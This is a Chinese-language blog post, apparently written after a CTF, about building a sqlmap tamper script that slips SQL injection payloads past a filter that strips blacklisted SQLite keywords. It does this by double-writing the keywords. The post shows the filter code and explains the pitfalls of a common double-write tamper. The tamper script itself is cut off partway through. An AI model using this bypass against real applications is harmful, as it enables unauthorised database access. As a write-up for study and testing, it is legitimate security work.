SQLMAP-Tamper之較為通用的雙寫繞過
前言
21年省決賽的SQLITE注入就是用的雙寫繞過,當時是手搓程式碼打的,這幾天想起來了,尋思著寫個tamper試試。
一開始以為很簡單,後來才發現有很多要注意的點,折磨了挺久。
等弄完才明白為什麼sqlmap沒有自帶雙寫的tamper,涉及的情況太多,需要根據具體過濾邏輯來寫程式碼,沒法做到統一。
思路
過濾程式碼很簡單:
blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]
for n in blacklist:
regex = re.compile(n, re.IGNORECASE)
username = regex.sub("", username)
先拿個網上的程式碼舉例,
核心程式碼為
for keyword in keywords:
_ = random.randint(1, len(keyword) - 1)
retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
其邏輯為:用正則進行搜索單詞,類似:

當檢測到payload中存在關鍵字,就將該關鍵字插入到原本關鍵字字元串的隨機位置。
很常規的邏輯,但在這裡有一些問題:
1.類似SELECT->SELSELECTECT,如果添加的位置不對,就可能新生成一個存在於黑名單的字樣導致sqlmap誤判。
2.混淆得不夠徹底。程式碼中是以單詞為單位,但過濾時會擴大面積。精簡一下:
keywords = ['OR','ORDER']
payload = 'ORDER'
混淆時:ORDER->OORRDER
過濾時:OORRDER->ORDER-> ”(為空)
那麼,手動選某個關鍵字列表中比較特別的字樣去統一混淆如何?
結論是可,但是費勁。首先需要先寫個小腳本將關鍵字列表裡的不純粹的元素剔除。比如ORDER里含有OR,那麼就需要將ORDER剔除。其次還得保證sqlmap的測試語句里不使用該字樣,否則將導致誤判。
整理一下上述思路,可以開始著手編寫tamper了。
程式碼
寫腳本之前先介紹下tamper模板
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return payload
-
__priority__定義腳本優先順序:LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST -
dependencies()則聲明該函數的適用/不適用範圍,可為空 -
tamper()則是主要函數,處理傳入的payload並返回。
好,然後就是腳本的完整程式碼
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (//sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
"""
優化的雙寫繞過,順序插入並判斷是否新組成過濾單詞
比如SELECT,當插入位置為3時為SELSELECTECT,則會生成黑名單列表中另一個單詞ELSE造成誤判
在此進行相關判斷以保證生成的字元不存在另一個敏感詞。
主要應對:
blacklist = [...]
for n in blacklist:
regex = re.compile(n, re.IGNORECASE)
username = regex.sub("", username)
>>> tamper('select 1 or 2 ORDER')
'selorect 1 oorr 2 OorRDER'
"""
keywords = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER","INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]
retVal = payload
warnMsg = "當前關鍵字列表如下,請注意修改:\n"
warnMsg += "%s" % keywords
singleTimeWarnMessage(warnMsg)
if payload: